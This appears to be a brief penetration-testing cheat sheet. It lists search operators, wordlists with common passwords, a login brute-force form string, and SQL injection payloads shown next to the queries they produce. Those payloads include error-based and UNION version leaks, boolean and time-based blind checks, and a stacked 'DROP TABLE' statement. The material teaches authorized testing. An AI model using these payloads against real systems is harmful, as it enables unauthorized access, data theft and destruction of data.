Nic Wortel
@nicwortel
A penetration test (or pentest) is an authorized simulated cyberattack performed on a computer system to evaluate its security.
site:example.com | Search in specific site |
---|---|
filetype:pdf or ext:pdf | Search for specific file types |
intitle:foo | Search in title tag |
inurl:bar | Search in URL |
intext:bar | Search in page content |
-foobar | Exclude from results |
Command line tool to look for (hidden) web pages and directories.
List of common filenames, passwords, usernames, etc. to use in dictionary attacks.
aaa
aab
aac
aad
etc.
123456
password
qwerty
iloveyou
etc.
"/login.php:username=^USER^&password=^PASS^:Incorrect username"
https://example.com/dogs?id=1
SELECT * FROM dog WHERE id = 1
GTID_SUBSET(@@version,0)
SELECT * FROM dog WHERE id = GTID_SUBSET(@@version,0)
Error message:
General error: 1772 Malformed GTID set specification '8.1.0'.
1 UNION ALL SELECT 1,@@version,3
SELECT * FROM dog WHERE id = 1 UNION ALL SELECT 1,@@version,3
1; DROP TABLE dog
SELECT * FROM dog WHERE id = 1; DROP TABLE dog
1 AND (SELECT COUNT(*) FROM user WHERE username = 'admin' > 0)
SELECT * FROM dog WHERE id = 1 AND (SELECT COUNT(*) FROM user
WHERE username = 'admin' > 0)
IF(SELECT COUNT(*) FROM user WHERE username = 'admin' > 0,
SLEEP(5),0)
SELECT * FROM dog WHERE id = 1 AND IF(SELECT COUNT(*) FROM user
WHERE username = 'admin' > 0,SLEEP(5),0)
Referral link for free credits